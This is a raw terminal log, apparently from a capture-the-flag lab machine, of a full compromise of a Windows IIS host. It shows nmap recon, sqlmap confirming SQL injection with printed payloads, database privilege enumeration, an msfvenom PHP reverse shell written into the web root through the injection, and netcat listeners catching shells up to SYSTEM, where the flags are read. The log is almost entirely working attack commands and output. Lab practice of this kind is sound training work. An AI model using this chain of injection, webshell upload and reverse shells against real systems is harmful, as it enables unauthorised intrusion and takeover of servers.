$nmap -sV -sC -oA nmap/default 10.10.10.167
Nmap 7.80 ( https://nmap.org ) at 2020-04-13 12:09 CEST
Nmap scan report for 10.10.10.167
Host is up (0.072s latency).
Not shown: 997 filtered ports
PORT     STATE SERVICE VERSION
80/tcp   open  http    Microsoft IIS httpd 10.0
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: eah be
|_http-title: Fidelity
135/tcp  open  msrpc   Microsoft Windows RPC
3306/tcp open  mysql?
| fingerprint-strings:
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, FourOhFourRequest, HTTPOptions, Help, Kerberos, LDAPSearchReq, LPDString, RPCCheck, RTSPRequest, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServerCookie, X11Probe:
|_    Host '10.10.14.24' is not allowed to connect to this MariaDB server
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
[...]
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 28.72 seconds

$sqlmap -u http://10.10.10.167/search_products.php --data productName=1 --proxy http://127.0.0.1:8080
        ___
       __H__
 ___ ___[']_____ ___ ___  {1.4.3#stable}
|_ -| . [.]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 14:56:24 /2020-04-13/

[14:56:24] [INFO] testing connection to the target URL
[14:56:26] [INFO] testing if the target URL content is stable
[14:56:27] [INFO] target URL content is stable
[14:56:27] [INFO] testing if POST parameter 'productName' is dynamic
[14:56:28] [WARNING] POST parameter 'productName' does not appear to be dynamic
[14:56:30] [INFO] heuristic (basic) test shows that POST parameter 'productName' might be injectable (possible DBMS: 'MySQL')
[14:56:31] [INFO] heuristic (XSS) test shows that POST parameter 'productName' might be vulnerable to cross-site scripting (XSS) attacks
[14:56:31] [INFO] testing for SQL injection on POST parameter 'productName'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] n
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] n
[14:56:34] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[14:56:43] [WARNING] reflective value(s) found and filtering out
[14:56:47] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[14:56:50] [INFO] testing 'Generic inline queries'
[14:56:51] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[14:56:57] [INFO] POST parameter 'productName' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable
[14:56:57] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[14:56:57] [WARNING] time-based comparison requires larger statistical model, please wait......... (done)
[14:57:22] [INFO] POST parameter 'productName' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
[14:57:22] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[14:57:22] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[14:57:24] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[14:57:29] [INFO] target URL appears to have 6 columns in query
[15:27:26] [INFO] POST parameter 'productName' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable
[15:27:26] [WARNING] in OR boolean-based injection cases, please consider usage of switch '--drop-set-cookie' if you experience any problems during data retrieval
POST parameter 'productName' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 97 HTTP(s) requests:
---
Parameter: productName (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: productName=-5865' OR 6284=6284#

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: productName=1' AND (SELECT 7254 FROM(SELECT COUNT(*),CONCAT(0x7176627a71,(SELECT (ELT(7254=7254,1))),0x71706b6a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- wKBp

    Type: stacked queries
    Title: MySQL >= 5.0.12 stacked queries (comment)
    Payload: productName=1';SELECT SLEEP(5)#

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: productName=1' AND (SELECT 3230 FROM (SELECT(SLEEP(5)))cDBW)-- xhpV

    Type: UNION query
    Title: MySQL UNION query (NULL) - 6 columns
    Payload: productName=1' UNION ALL SELECT NULL,CONCAT(0x7176627a71,0x4858784b744d434b66704b5674736d4457614d494577654d46424446687274494c616465465a4a45,0x71706b6a71),NULL,NULL,NULL,NULL#
---
[15:27:30] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[15:27:32] [INFO] fetched data logged to text files under '/root/.sqlmap/output/10.10.10.167'

[*] ending @ 15:27:32 /2020-04-13/

sqlmap -u http://10.10.10.167/search_products.php --data productName=1 --proxy http://127.0.0.1:8080 -a

$sqlmap -u http://10.10.10.167/search_products.php --data productName=1 --proxy http://127.0.0.1:8080 --current-user
        ___
       __H__
 ___ ___[,]_____ ___ ___  {1.4.3#stable}
|_ -| . [)]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[...]

[17:06:19] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[17:06:19] [INFO] fetching current user
current user: 'manager@localhost'
[17:06:19] [INFO] fetched data logged to text files under '/root/.sqlmap/output/10.10.10.167'

[*] ending @ 17:06:19 /2020-04-19/

$sqlmap -u http://10.10.10.167/search_products.php --data productName=1 --proxy http://127.0.0.1:8080 --privileges
        ___
       __H__
 ___ ___["]_____ ___ ___  {1.4.3#stable}
|_ -| . [,]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[...]

[17:08:55] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[17:08:55] [INFO] fetching database users privileges
database management system users privileges:
[*] 'hector'@'localhost' (administrator) [29]:
    privilege: ALTER
    privilege: ALTER ROUTINE
    privilege: CREATE
    privilege: CREATE ROUTINE
    privilege: CREATE TABLESPACE
    privilege: CREATE TEMPORARY TABLES
    privilege: CREATE USER
    privilege: CREATE VIEW
    privilege: DELETE
    privilege: DELETE HISTORY
    privilege: DROP
    privilege: EVENT
    privilege: EXECUTE
    privilege: FILE
    privilege: INDEX
    privilege: INSERT
    privilege: LOCK TABLES
    privilege: PROCESS
    privilege: REFERENCES
    privilege: RELOAD
    privilege: REPLICATION CLIENT
    privilege: REPLICATION SLAVE
    privilege: SELECT
    privilege: SHOW DATABASES
    privilege: SHOW VIEW
    privilege: SHUTDOWN
    privilege: SUPER
    privilege: TRIGGER
    privilege: UPDATE
[*] 'manager'@'localhost' [1]:
    privilege: FILE
[*] 'root'@'127.0.0.1' (administrator) [29]:
    privilege: ALTER
    privilege: ALTER ROUTINE
    privilege: CREATE
    privilege: CREATE ROUTINE
    privilege: CREATE TABLESPACE
    privilege: CREATE TEMPORARY TABLES
    privilege: CREATE USER
    privilege: CREATE VIEW
    privilege: DELETE
    privilege: DELETE HISTORY
    privilege: DROP
    privilege: EVENT
    privilege: EXECUTE
    privilege: FILE
    privilege: INDEX
    privilege: INSERT
    privilege: LOCK TABLES
    privilege: PROCESS
    privilege: REFERENCES
    privilege: RELOAD
    privilege: REPLICATION CLIENT
    privilege: REPLICATION SLAVE
    privilege: SELECT
    privilege: SHOW DATABASES
    privilege: SHOW VIEW
    privilege: SHUTDOWN
    privilege: SUPER
    privilege: TRIGGER
    privilege: UPDATE
[*] 'root'@'::1' (administrator) [29]:
    privilege: ALTER
    privilege: ALTER ROUTINE
    privilege: CREATE
    privilege: CREATE ROUTINE
    privilege: CREATE TABLESPACE
    privilege: CREATE TEMPORARY TABLES
    privilege: CREATE USER
    privilege: CREATE VIEW
    privilege: DELETE
    privilege: DELETE HISTORY
    privilege: DROP
    privilege: EVENT
    privilege: EXECUTE
    privilege: FILE
    privilege: INDEX
    privilege: INSERT
    privilege: LOCK TABLES
    privilege: PROCESS
    privilege: REFERENCES
    privilege: RELOAD
    privilege: REPLICATION CLIENT
    privilege: REPLICATION SLAVE
    privilege: SELECT
    privilege: SHOW DATABASES
    privilege: SHOW VIEW
    privilege: SHUTDOWN
    privilege: SUPER
    privilege: TRIGGER
    privilege: UPDATE
[*] 'root'@'fidelity' (administrator) [29]:
    privilege: ALTER
    privilege: ALTER ROUTINE
    privilege: CREATE
    privilege: CREATE ROUTINE
    privilege: CREATE TABLESPACE
    privilege: CREATE TEMPORARY TABLES
    privilege: CREATE USER
    privilege: CREATE VIEW
    privilege: DELETE
    privilege: DELETE HISTORY
    privilege: DROP
    privilege: EVENT
    privilege: EXECUTE
    privilege: FILE
    privilege: INDEX
    privilege: INSERT
    privilege: LOCK TABLES
    privilege: PROCESS
    privilege: REFERENCES
    privilege: RELOAD
    privilege: REPLICATION CLIENT
    privilege: REPLICATION SLAVE
    privilege: SELECT
    privilege: SHOW DATABASES
    privilege: SHOW VIEW
    privilege: SHUTDOWN
    privilege: SUPER
    privilege: TRIGGER
    privilege: UPDATE
[*] 'root'@'localhost' (administrator) [29]:
    privilege: ALTER
    privilege: ALTER ROUTINE
    privilege: CREATE
    privilege: CREATE ROUTINE
    privilege: CREATE TABLESPACE
    privilege: CREATE TEMPORARY TABLES
    privilege: CREATE USER
    privilege: CREATE VIEW
    privilege: DELETE
    privilege: DELETE HISTORY
    privilege: DROP
    privilege: EVENT
    privilege: EXECUTE
    privilege: FILE
    privilege: INDEX
    privilege: INSERT
    privilege: LOCK TABLES
    privilege: PROCESS
    privilege: REFERENCES
    privilege: RELOAD
    privilege: REPLICATION CLIENT
    privilege: REPLICATION SLAVE
    privilege: SELECT
    privilege: SHOW DATABASES
    privilege: SHOW VIEW
    privilege: SHUTDOWN
    privilege: SUPER
    privilege: TRIGGER
    privilege: UPDATE

[17:08:55] [INFO] fetched data logged to text files under '/root/.sqlmap/output/10.10.10.167'

[*] ending @ 17:08:55 /2020-04-19/

[*] 'manager'@'localhost' [1]:
    privilege: FILE

$msfvenom -p php/reverse_php LHOST=10.10.14.30 LPORT=1231 --platform php -e generic/none -f raw -o pl.php
[-] No arch selected, selecting arch: php from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of generic/none
generic/none succeeded with size 3002 (iteration=0)
generic/none chosen with final size 3002
Payload size: 3002 bytes
Saved as: pl.php

$sqlmap -u http://10.10.10.167/search_products.php --data productName=1 --proxy http://127.0.0.1:8080 --file-write=pl.php --file-dest=/inetpub/wwwroot/uploads/pl.php
        ___
       __H__
 ___ ___[)]_____ ___ ___  {1.4.3#stable}
|_ -| . [,]     | .'| . |
|___|_  [']_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[...]
[17:12:53] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[17:12:53] [INFO] fingerprinting the back-end DBMS operating system
[17:12:53] [INFO] the back-end DBMS operating system is Windows
[17:12:54] [WARNING] potential permission problems detected ('Access denied')
[17:12:57] [WARNING] time-based comparison requires larger statistical model, please wait.............................. (done)
do you want confirmation that the local file 'pl.php' has been successfully written on the back-end DBMS file system ('/inetpub/wwwroot/uploads/pl.php')? [Y/n]
[17:13:03] [INFO] the local file 'pl.php' and the remote file '/inetpub/wwwroot/uploads/pl.php' have the same size (3002 B)
[17:13:03] [INFO] fetched data logged to text files under '/root/.sqlmap/output/10.10.10.167'

[*] ending @ 17:13:03 /2020-04-19/

$nc -lnvp 1231
listening on [any] 1231 ...
connect to [10.10.14.30] from (UNKNOWN) [10.10.10.167] 62983
whoami
nt authority\iusr

$nc -lvnp 4422
listening on [any] 4422 ...
connect to [10.10.14.30] from (UNKNOWN) [10.10.10.167] 62986
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\inetpub\wwwroot\uploads> whoami
whoami
nt authority\iusr
PS C:\inetpub\wwwroot\uploads>

$nc -lnvp 4441
listening on [any] 4441 ...
connect to [10.10.14.30] from (UNKNOWN) [10.10.10.167] 62993
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Users\Hector\Documents> whoami
whoami
control\hector
PS C:\Users\Hector\Documents> cd ../Desktop
cd ../Desktop
PS C:\Users\Hector\Desktop> type user.txt
type user.txt
d8782dd01fb15b72c4b5ba77ef2d472b
PS C:\Users\Hector\Desktop>

$nc -lnvp 1233
listening on [any] 1233 ...
connect to [10.10.14.30] from (UNKNOWN) [10.10.10.167] 62997
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Windows\system32> whoami
whoami
nt authority\system
PS C:\Windows\system32> cd C:\Users\Administrator\Desktop
cd C:\Users\Administrator\Desktop
PS C:\Users\Administrator\Desktop> type root.txt
type root.txt
8f8613f5b4da391f36ef11def4cec1b1
PS C:\Users\Administrator\Desktop>